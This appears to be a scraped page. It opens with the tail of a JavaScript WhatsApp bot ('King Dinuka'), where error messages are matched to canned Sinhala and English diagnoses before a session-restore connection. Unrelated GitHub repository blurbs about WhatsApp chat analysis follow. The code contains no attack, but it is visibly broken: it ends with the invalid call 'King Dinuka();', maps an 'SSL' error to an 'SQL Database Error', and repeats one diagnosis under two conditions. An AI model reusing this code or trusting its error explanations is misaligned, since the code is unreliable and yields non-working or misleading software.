දෝශය:* _Bailyes ක්රියාකිරීමේ දෝශය_ ' + '\n*හේතුව:* _නිශ්චිත හේතුව නොදනී. විකල්ප කිහිපයක් මෙම දෝෂය ඇති වීමට හේතු විය හැක.._' + '\n*විසදුම:* _ඔබ එය නැවත භාවිතා කළහොත් එය වැඩිදියුණු විය හැකිය. දෝෂය දිගටම පැවතුනහොත්, ඔබට restart කළ හැකිය._' , MessageType.text ); } else if (error.message.includes('decode')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _පෙළ හෝ මාධ්ය විකේතනය කළ නොහැක_' + '\n*හේතුව:* _කමාන්ඩ් එක වැරදි ලෙස භාවිතා කිරීම._' + '\n*විසදුම:* _කමාන්ඩ් විස්තරයේ ලියා ඇති පරිදි කරුණාකර විධානයන් භාවිතා කරන්න._' , MessageType.text ); } else if (error.message.includes('unescaped')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _අකුරු චරිත භාවිතය_' + '\n*හේතුව:* _ලතින් හෝඩියේ පිටත TTP, ATTP වැනි විධානයන් භාවිතා කිරීම._' + '\n*විසදුම:* _ඔබ ලතින් හෝඩියේ විධානය භාවිතා කළහොත් ගැටළුව විසඳනු ඇත ...._' , MessageType.text ); } else { return await CdSew.sendMessage(CdSew.user.jid, '*🙇🏻 Sorry, I Couldnt Read This Error! 🙇🏻*' + '\n_You can write to our support group for more help._' , MessageType.text ); } } else { if (error.message.includes('URL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Only Absolutely URLs Supported_' + '\n*Reason:* _The usage of media tools (xmedia, sticker..) in the LOG number._' + '\n*Solution:* _You can use commands in any chat, except the LOG number._' , MessageType.text ); } else if (error.message.includes('conversation')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Deleting Plugin_' + '\n*Reason:* _Entering incorrectly the name of the plugin wanted to be deleted._' + '\n*Solution:* _Please try without adding_ *__* _to the plugin you want to delete. If you still get an error, try to add like_ ```?(.*) / $``` _to the end of the name._ ' , MessageType.text ); } else if (error.message.includes('split')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Split of Undefined_' + '\n*Reason:* _Commands that can be used by group admins occasionally dont see the split function._ ' + '\n*Solution:* _Restarting will be enough._' , MessageType.text ); } else if (error.message.includes('SSL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _SQL Database Error_' + '\n*Reason:* _Database corruption._ ' + '\n*Solution:* _There is no known solution. You can try reinstalling it._' , MessageType.text ); } else if (error.message.includes('Ookla')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Ookla Server Connection_' + '\n*Reason:* _Speedtest data cannot be transmitted to the server._' + '\n*Solution:* _If you use it one more time the problem will be solved._' , MessageType.text ); } else if (error.message.includes('params')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Requested Audio Params_' + '\n*Reason:* _Using the TTS command outside the Latin alphabet._' + '\n*Solution:* _The problem will be solved if you use the command in Latin letters frame._' , MessageType.text ); } else if (error.message.includes('unlink')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved``` ==========' + '\n\n*Main Error:* _No Such File or Directory_' + '\n*Reason:* _Incorrect coding of the plugin._' + '\n*Solution:* _Please check the your plugin codes._' , MessageType.text ); } else if (error.message.includes('404')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Error 404 HTTPS_' + '\n*Reason:* _Failure to communicate with the server as a result of using the commands under the Heroku plugin._' + '\n*Solution:* _Wait a while and try again. If you still get the error, perform the transaction on the website.._' , MessageType.text ); } else if (error.message.includes('reply.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Reply Delete Function_' + '\n*Reason:* _Using IMG or Wiki commands._' + '\n*Solution:* _There is no solution for this error. It is not a fatal error._' , MessageType.text ); } else if (error.message.includes('load.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Reply Delete Function_' + '\n*Reason:* _Using IMG or Wiki commands._' + '\n*Solution:* _There is no solution for this error. It is not a fatal error._' , MessageType.text ); } else if (error.message.includes('400')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Bailyes Action Error_ ' + '\n*Reason:* _The exact reason is unknown. More than one option may have triggered this error._' + '\n*Solution:* _If you use it again, it may improve. If the error continues, you can try to restart._' , MessageType.text ); } else if (error.message.includes('decode')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Cannot Decode Text or Media_' + '\n*Reason:* _Incorrect use of the plug._' + '\n*Solution:* _Please use the commands as written in the plugin description._' , MessageType.text ); } else if (error.message.includes('unescaped')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Word Character Usage_' + '\n*Reason:* _Using commands such as TTP, ATTP outside the Latin alphabet._' + '\n*Solution:* _The problem will be solved if you use the command in Latin alphabet.._' , MessageType.text ); } else { return await CdSew.sendMessage(CdSew.user.jid, '*🙇🏻 Sorry, I Couldnt Read This Error! 🙇🏻*' + '\n_You can write to our support group for more help._' , MessageType.text ); } } } } } } ) }); // ==================== End Error Message ==================== try { await CdSew.connect(); } catch { if (!nodb) { console.log(chalk.red.bold('Loading Old Version Session...')) CdSew.loadAuthInfo(Session.deCrypt(Raviya.SESSION)); try { await CdSew.connect(); } catch { return; } } } } King Dinuka();
ankit-ask
A python based project to visually analyze whatsapp group chats. The analysis includes most acive user,most active date,most active time,top 5 users, analysis of chat on any date, etc.
nikhilpawar007
WhatsApp Group Chat Analysis
Priyanshi423
No description available
Abhii1503
Group Chat Analysis of WhatsApp
mkm-world
No description available